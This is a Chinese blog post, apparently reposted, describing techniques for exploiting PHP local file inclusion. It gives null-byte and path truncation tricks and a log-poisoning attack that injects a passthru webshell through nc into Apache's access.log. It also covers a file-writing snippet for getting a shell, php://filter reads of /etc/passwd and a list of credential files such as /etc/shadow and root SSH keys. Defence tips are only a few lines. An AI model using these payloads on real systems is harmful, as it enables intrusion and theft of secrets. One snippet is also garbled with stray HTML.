码迷,mamicode.com
首页 > 其他好文 > 详细

IFI 利用技巧

时间:2015-04-27 00:43:25      阅读:157      评论:0      收藏:0      [点我收藏+]

标签:ifi 本地包含 php 本地文件包含

include后的文件带后缀的利用条件:

(1)gpc=Off 不然%00会变成\0的

(2)php < 5.3.4  本人测试在5.4.4中未成功,详情见CVE-2006-7243

include包含的时候一定得有相关的权限,apache用户和所访问文件至少也得达到同组权限。

截断方法:

(1)%00,gpc=Off

(2)长文件名,linux超过4096字节就会被php截断,没有实验成功(5.2.8),windows 259字节,没尝试,这里与GPC没有关系。 linux下使用../../../../../etc/passwd/./././././././ ,windows使用.....,楼下连接测试成功或者和linux一样

包含文件技巧:

1,包含上传后的文件,比如说图片,文件等

2,data:// php://input等伪协议,需要allow_url_include=on

3,日志文件,access.log,通过nc来去掉header,防止空格被编码成%20.

root@kali:/var/log/apache2# nc 127.0.0.1 80

GET /<?php passthru($_GET[‘cmd‘]); ?> HTTP/1.1

查看access.log有日志:

127.0.0.1 - - [09/Apr/2015:03:53:21 -0400] "root@kali:/var/log/apache2# nc -h" 400 582 "-" "-"

127.0.0.1 - - [09/Apr/2015:03:53:45 -0400] "GET /<?php passthru($_GET[‘cmd‘]); ?> HTTP/1.1" 404 480 "-" "-"

然后直接加载该日志,如果日志很大的话,可以写一句话创建一个文件什么的,执行一次就能拿到shell

eg:

<?$fp=fopen("/homeirtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<span style="font-family: Arial, Helvetica, sans-serif;"><?php echo hacked ?></span><span style="font-family: Arial, Helvetica, sans-serif;">");fclose($fp);?></span>

4,/proc/self/environ中user-agent可改

(1):about:config 后加general.useragent.override ,value 填 <?phpinfo();?>即可,或者使用useragent switch

测试过程中,要么是没权限,要么是在这个文件中没有读到user-agent字段

5,session file

6,另外其他php创建的文件什么的

比较优雅的读出文件:

https://10.20.30.50/fi?file=php://filter/read=convert.base64-encode/resource=../../../../../etc/passwd%00

测试文件夹是否存在。。

../../../../../../var/www/dossierexistant/../../../../../etc/passwd%00

用于目录遍历,需要读权限:

/var/lib/locate.db

/var/lib/mlocate/mlocate.db

/usr/local/apache2/conf/httpd.conf

有root权限:

/root/.ssh/authorized_keys

/root/.ssh/id_rsa

/root/.ssh/id_rsa.keystore

/root/.ssh/id_rsa.pub

/root/.ssh/known_hosts

/etc/shadow

/root/.bash_history

/root/.mysql_history

/proc/self/fd/fd[0-9]* (文件标识符)

/proc/mounts

/proc/config.gz

如何防范:

(1)gpc

(2)readdir限制

(3)当然不能动态包含了

file_exists,move_uploaded_files,file_get_contents都受影响

远程文件包含:

(1)allow_url_include=On,allow_url_fopen=On

可以用?来截断

可以用到php的协议来读取文件,这样就能包含php文件了,哈哈,不然包含php文件都是被执行了。

参考:

http://www.joychou.org/index.php/web/truncated.html

https://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/

http://drops.wooyun.org/tips/3827


IFI 利用技巧

标签:ifi 本地包含 php 本地文件包含

原文地址:http://3502990.blog.51cto.com/3492990/1638767

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!